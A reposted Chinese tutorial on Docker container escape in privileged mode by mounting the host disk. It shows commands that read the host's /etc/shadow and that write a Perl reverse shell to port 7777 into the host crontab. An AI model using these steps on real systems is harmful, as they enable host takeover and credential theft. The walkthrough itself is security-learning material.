【容器逃逸实践】挂载/dev方法
0、前置知识
- 怎么在容器里面执行命令, 有几种方法
# 不进入容器,创建并启动一个新的容器
$ docker run -itd --name ubuntu-test ubuntu /bin/bash
# 进入容器,创建并启动一个新的容器
$ docker run -itd --name ubuntu-test ubuntu /bin/bash
# 先启动容器
$ docker start b750bbbcfd88
# 如果从这个容器退出,容器不会停止
$ docker exec -it b750bbbcfd88 /bin/bash
# 如果从这个容器退出,会导致容器的停止
$ docker attach b750bbbcfd88
- 如何查看容器的IP地址等信息
[root@bf1465ba82c7 /] ip addr
$ docker inspect bf1465ba82c7
# 查看容器IP
$ docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' bf1465ba82c7
- 如何查看容器启动的日志
docker logs bf1465ba82c7
一、Privileged特权模式导致容器逃逸
通过配置–privileged参数可以让docker以特权模式启动,当容器以特权模式启动时,docker容器可以访问主机上的所有设备,且有mount命令挂载权限。因为特权模式权限过大,从而导致了逃逸的风险,一般存在两种手法:挂载/dev、重写devices_allow,下面只介绍挂载/dev方法。
- 特权模式下挂载 /dev
(1)使用 –privileged=true 创建一个特权容器centos-1120:
$ docker run -idt --privileged=true --name centos-1120 centos /bin/bash
ec9a97266e5c8fd74260ac47b33014957a229f6563b6e34eece43b3c81fdd788
(2) 进入容器
docker exec -it centos-1120 bash
(3)查看挂载磁盘设备,并将宿主机文件挂载到 /test 目录下
进一步理解:将宿主机的一个分区(存储设备 /dev/sda1挂载到宿主机的 /test目录下,从而使 /test目录作为该分区的入口点访问文件:
$ fdisk -l # 查看挂载磁盘设备
$ mkdir /test && mount /dev/sda1 /test #将宿主机文件挂载到 /test 目录下
(4)敏感文件访问
尝试访问宿主机 shadow 文件,cat /test/etc/shadow,可以竟然可以从容器正常访问宿主机的敏感文件:
cat /test/etc/shadow
(5)反弹shell
在定时任务中写入反弹 shell:
1)首先,你需要查看你的主机IP:ifconfig
,这里写docker的网卡地址
2)在容器执行以下命令
$ echo '*/1 * * * * root perl -e '\''use Socket;$i="172.17.0.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'\''' >> /test/etc/crontab
3)查看宿主机是否写入定时任务cat /etc/crontab
4)在宿主机监听端口,查看是否有信息nc -lvvp 7777
逃逸成功!
原文地址:https://blog.csdn.net/weixin_40433003/article/details/145144246
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!